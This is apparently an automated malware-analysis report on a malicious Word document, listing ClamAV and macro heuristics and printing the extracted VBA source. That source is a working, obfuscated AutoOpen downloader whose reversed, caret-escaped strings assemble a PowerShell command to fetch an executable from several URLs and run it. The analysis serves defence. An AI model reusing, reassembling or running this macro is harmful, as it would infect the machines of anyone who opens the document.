MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro uses the Shell function to execute a command, which is obfuscated but appears to involve setting environment variables and potentially executing further commands. The ClamAV detection and heuristic firings strongly indicate malicious intent, likely for downloading and executing a secondary payload.
Heuristics 6
-
ClamAV: Doc.Malware.Valyria-6774203-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-6774203-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4600 bytes |
SHA-256: 7e0652d95d514b721bdd8e91648d73ad4e545ac830397171e0582f9056ed0535 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "BkzZwbRH"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On _
Error _
Resume _
Next
Dim tkJhv()
ReDim tkJhv(3)
tkJhv(0) = 5
tkJhv(1) = 4348
tkJhv(2) = 1
Dim hsqoi()
ReDim hsqoi(3)
hsqoi(0) = 95
hsqoi(1) = 972
hsqoi(2) = 8470
Dim IdTciC()
ReDim IdTciC(3)
IdTciC(0) = 448118359
IdTciC(1) = 156815788
IdTciC(2) = 76
Dim icvKcB()
ReDim icvKcB(2)
icvKcB(0) = 5
icvKcB(1) = 331418614
Dim sjfhLk()
ReDim sjfhLk(5)
sjfhLk(0) = 15
sjfhLk(1) = 7527
sjfhLk(2) = 194377164
sjfhLk(3) = 5160
sjfhLk(4) = 2
Shell@ SqzhMTZ + srinpnqjMkRl + DYCQwQD, Format(0)
Dim voAzA()
ReDim voAzA(5)
voAzA(0) = 163
voAzA(1) = 332
voAzA(2) = 418
voAzA(3) = 9861
voAzA(4) = 37317881
Dim UAfAtZ()
ReDim UAfAtZ(2)
UAfAtZ(0) = 6254
UAfAtZ(1) = 356359383
Dim VtZjKr()
ReDim VtZjKr(3)
VtZjKr(0) = 6393
VtZjKr(1) = 377
VtZjKr(2) = 2608
End Sub
Attribute VB_Name = "qdQEblI"
Function SqzhMTZ()
On _
Error _
Resume _
Next
Dim uLmMt()
ReDim uLmMt(5)
uLmMt(0) = 580
uLmMt(1) = 5
uLmMt(2) = 39
uLmMt(3) = 751
uLmMt(4) = 55491488
Dim atOGmQ()
ReDim atOGmQ(5)
atOGmQ(0) = 801
atOGmQ(1) = 269947048
atOGmQ(2) = 962
atOGmQ(3) = 455349609
atOGmQ(4) = 6
iEwndIAsoL = Format(Chr(10 + 14 + 18 + 7 + 50)) + "md /V^:^" + "ON/" + Format(Chr(7 + 10 + 12 + 5 + 33)) + Format(Chr(3 + 4 + 5 + 2 + 20)) + "^set" + " ^T^0Rx= ^ ^ ^ ^ " + " ^ ^ }^}{h" + Format(Chr(10 + 14 + 18 + 7 + 50)) + "ta" + Format(Chr(10 + 14 + 18 + 7 + 50)) + "^}^;^kaerb^" + ";^dmK$ ^m^etI^-^e^k^ovn" + "I;)dm^K$^ ^,B" + "^u^s^$(e^liF^da^o" + "^ln^wo" + "^D^.^D^ki^$^{^yr^t^" + "{)" + Format(Chr(7 + 10 + 12 + 5 + 33)) + "F^d^$^ ni^ B^us$(^h" + Format(Chr(10 + 14 + 18 + 7 + 50)) + "^a^er"
Dim fwkwW()
ReDim fwkwW(4)
fwkwW(0) = 1643
fwkwW(1) = 5
fwkwW(2) = 2
fwkwW(3) = 959
Dim zzQwiL()
ReDim zzQwiL(4)
zzQwiL(0) = 76
zzQwiL(1) = 790
zzQwiL(2) = 844
zzQwiL(3) = 434
Dim QPNpn()
ReDim QPNpn(4)
QPNpn(0) = 8703
QPNpn(1) = 9217
QPNpn(2) = 4720
QPNpn(3) = 95
TGSsvVTsCW = "^of^;'^e^xe^.^'^+^" + "F^Th$^+'\^'^+" + Format(Chr(10 + 14 + 18 + 7 + 50)) + "i^lb^up:vn^e^$=d" + "m^K^$^;'^9^9'^ ^= ^FT^h" + "$;)^'^@'(^tilpS^.'KzfrvQp/t" + "en^.^h^se^t^b//^:" + "pt^th^@rtO^T^HS^3/m^o" + Format(Chr(10 + 14 + 18 + 7 + 50)) + ".^s" + "^st^ed//^:pt^th^@Z03" + "V6Ylk7/m^o" + Format(Chr(10 + 14 + 18 + 7 + 50))
Dim FFFTCO()
ReDim FFFTCO(5)
FFFTCO(0) = 97
FFFTCO(1) = 432
FFFTCO(2) = 398
FFFTCO(3) = 2839
FFFTCO(4) = 770
Dim jRoHkW()
ReDim jRoHkW(4)
jRoHkW(0) = 384
jRoHkW(1) = 14
jRoHkW(2) = 728
jRoHkW(3) = 162998053
Dim finMcW()
ReDim finMcW(5)
finMcW(0) = 437351859
finMcW(1) = 187086367
finMcW(2) = 80
finMcW(3) = 13
finMcW(4) = 71
HUutzovkZrL = ".adn^osid^a^m//^:^p^tth@^D8" + "O^Z5N^M7/gv^.d^gv//^:^p^tt" + "^h@" + Format(Chr(7 + 10 + 12 + 5 + 33)) + "^ArAx^FD^i/gr^o.l" + "^e^t^edalv//" + "^:p^tth'^=" + Format(Chr(7 + 10 + 12 + 5 + 33)) + "^Fd" + "$^;^tnei^l" + Format(Chr(7 + 10 + 12 + 5 + 33)) + "^b^eW^.^t^"
Dim dYJFiq()
ReDim dYJFiq(2)
dYJFiq(0) = 451
dYJFiq(1) = 3
Dim zqWDa()
ReDim zqWDa(3)
zqWDa(0) = 256
zqWDa(1) = 5
zqWDa(2) = 164
Dim cPisQv()
ReDim cPisQv(3)
cPisQv(0) = 9
cPisQv(1) = 1
cPisQv(2) = 791
Dim mjNMWi()
ReDim mjNMWi(5)
mjNMWi(0) = 442489111
mjNMWi(1) = 20
mjNMWi(2) = 366
mjNMWi(3) = 7
mjNMWi(4) = 6
QIfGzYH = "eN^ ^t" + Format(Chr(10 + 14 + 18 + 7 + 50)) + "ej^bo-w^" + "en=D^ki^$^ ^l^" + "le^hsr^ew^o^p&&^f" + "^or /^L" + " %^1 ^in (^3^41^;^-1^;0)^do " + "s^e^t ^x^D" + "K=!^x^"
Dim VwtiQ()
ReDim VwtiQ(3)
VwtiQ(0) = 92
VwtiQ(1) = 8
VwtiQ(2) = 6178
Dim qQCYqj()
ReDim qQCYqj(4)
qQCYqj(0) = 2
qQCYqj(1) = 493
qQCYqj(2) = 84
qQCYqj(3) = 9
Dim lMvva()
ReDim lMvva(4)
lMvva(0) = 13
lMvva(1) = 1923
lMvva(2) = 313378975
lMvva(3) = 30
Dim qfUst()
ReDim qfUst(3)
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.